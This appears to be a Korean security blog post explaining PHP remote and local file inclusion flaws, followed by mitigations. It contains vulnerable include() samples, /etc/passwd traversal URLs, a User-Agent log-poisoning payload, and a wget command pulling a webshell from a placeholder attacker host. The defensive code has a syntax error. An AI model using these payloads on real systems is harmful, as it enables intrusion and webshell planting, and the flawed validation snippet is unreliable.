2017. 2. 23.

[웹 취약점] RFI & LFI 취약점

1. RFI 취약점


RFI (Remote File Inclusion) 취약점을 이용한 공격은 공격자가 악성 스크립트를 서버에 전달하여 해당 페이지를 통하여 악성 코드가 실행되도록 하는 것이다.

예제 1)

<?php
   if ( isset( $_GET['language'] ) ) {
      include( $_GET['language'] . '.php' );
   }
?>
<form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="french">French</option>
      ...
   </select>
   <input type="submit">
</form>

개발자는 english 와 french 값 만을 전달받고 있으나 부적절한 파라메터를 필터링하고 있지 않고 있다.

예제 2)
[RFI 취약점이 존재하는 페이지]
<?php
$color = 'blue';
if (isset($_GET['COLOR'] ))
$color = $_GET['COLOR'];
include($color . 'php'); 

[HTML 형식의 전달 메시지]

<form action='vulnerable.php' method='get'>
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form> 

vulnerable.php 파일에서 red, blue 이외의 값이 전달되어도 검증하는 코드가 존재하지 않아서 RFI 취약점이 발생할 가능성이 있다.

이를 이용하여 다음과 같은 취약점 공격이 가능하다
/vulnerable.php?COLOR=http://test.com/exploit.txt
이 같은 공격으로 처리페이지에 원격지 파일을 포함할 수 있다. 취약점이 존재하는 페이지의 include 함수를 통해 .txt 파일이 최종적으로는 exploit.txt.php 파일로 전달되기 때문에 .php 파일을 실행할 수 있다.

/vulnerable.php?COLOR=C:\ftp\upload\exploit
이전에 올려둔 악성 스크립트 파일을 호출하여 코드를 실행 할 수 있다.

/Null 문자 삽입으로 include 함수의 .php 확장자를 제거하여 다른 파일에 정상접근 할 수 있다.  서버가 리눅스, 유닉스 계열인 경우 Null 문자 삽입으로 /etc/passwd 파일에 접근할 수 있다.
/vulnerable.php?COLOR=/etc/passwd



#취약여부 확인
1) url/test.php?language=../

이는 RFI나 LFI 취약점이 있다고 볼 수 있다.

2) param=1.1.1.1%26ipconfig // 입력 시도


[공격 방법]
1) url/test.php?language=http://test.example.com/webshell.txt?
: 원격지의 파일을 포함 시킬 수 있다.

2) url/test.php?language=C:\ftp\upload\exploit
: 예전에 올려둔 파일을 호출하여 코드를 실행 시킬 수 있다

http://사이트주소/파일명?filename=http://해킹주소/hackcode.php
: 공격자가 파일 변수명을 확인해서 외부 사이트의 파일 주소를 변수로 넘기게 되면 외부사이트의 파일 주소 내용이 실행되게 된다.

3) url/test.php?language=C:\notes.txt
4) url/test.php?language=/etc/passwd
NULL 문자가 있을 시 문자열의 끝으로 판단하여 뒤쪽의 .php 는 탈락

2. LFI 취약점

LFI 는 파일을 포함시킬때, 해당 파일이 공격대상 서버에 위치한다는 점에서 RFI 와 구별된다.


[공격방법]
* Windows 의 경우
취약점페이지를 확인한 후 프록시 툴을 통해 header의 User-Agent 에 "<?php passthru('command'); ?>" 라는 php 코드를 넣어 전송한다.

Get /.../error.log
User-Agent : <?php passthru('command'); ?>
Accept: text/html; */8

url/test.php?language=../Server/apache/logs/error.log

* Unix 계열의 경우
<? system('wget http://test.hacker.test/webshell/test.txt -O test2.php'); ?>" 등의 명령어를 사용하여 원격으로 Webshell을 업로드 하는 공격이 가능하다. (test.txt 파일을 다운받아 test2.php로 저장)

3. 보안 대책


"../"과 같은 문자가 전달되었을 경우 다른 문자로 바꿔준다.

1) 문자필터링 php

str_replace(".","", $path);
str_replace("/", "", $filename);

2) 원격지 파일을 열지 못하도록 php 환경설정 파일 수정 (php.ini 수정)
allow_url_fopen = OFF
allow_url_include = OFF

(allow_url_fopen = On 은 URL 값을 파일처럼 사용하겠다는 의미이다. 그래서 원격지(read.php?Param=http://malicious.txt/attack.txt)의 파일을 실행할 수 있는것이다.

3) include 관련 에러 출력 안함 (php.ini)
display_errors = OFF

풀어서 다시 이야기하자면, 원격지의 파일의 실행(RFI 취약점)을 막기위해서는 allow_url_include = OFF 로 설정하면 된다. 그러나 이미 파일 업로드를 통해 내부 웹서버에 업로드된 파일을 실행 (LRI 취약점) 하는 것은 막지 못한다. 이를 위해서 include 함수를 사용 할 때 파일의 경로와 이름을 검증하는 구문을 반드시 적용하여야 한다.

$valid_filename = check_validation ( $_POST['filename']); // 파일 위치 검증함수 check_validation 사용

function check_validation($filename){
if (file_exists("$DOCUMENT_ROOT/common/$filename){
echo $filename;
}else{
echo "접근경로가 올바르지 않습니다.";
exit;
}


** file_exists(file) 함수
- 인수로 부여된 파일이 실제로 존재하지는지 아닌지 확인하는 함수
- 파일이 있으면 true, 파일이 없으면 false 를 반환한다.


include( ) 함수의 악용

ex) include ($Param);

주로 include( ) 함수는 모든 페이지에 포함될 표준 헤더 및 메뉴들을 파일로 만들어서 포함할 때 사용된다. 그러나 해당 함수와 설정 오류로 인해 원격지 파일을 로컬 파일처럼 호출할 수 있다.


include () 함수 사용 샘플
'header.php' 라는 표준 헤더 파일이 있다고 가정해보자. 페이지에 이 헤더 파일을 포함시키기 위해서 아래처럼 include () 함수를 사용하면 된다.

<html>
<body>
<?php include("header.php"); ?>
<h1> Welcome <h1>
<p> Some text </p>
</body>
</html>


<참고>

  • http://blog.naver.com/siren258/145489344
  • https://en.wikipedia.org/wiki/File_inclusion_vulnerability




Popular Posts

Recent Posts

Powered by Blogger.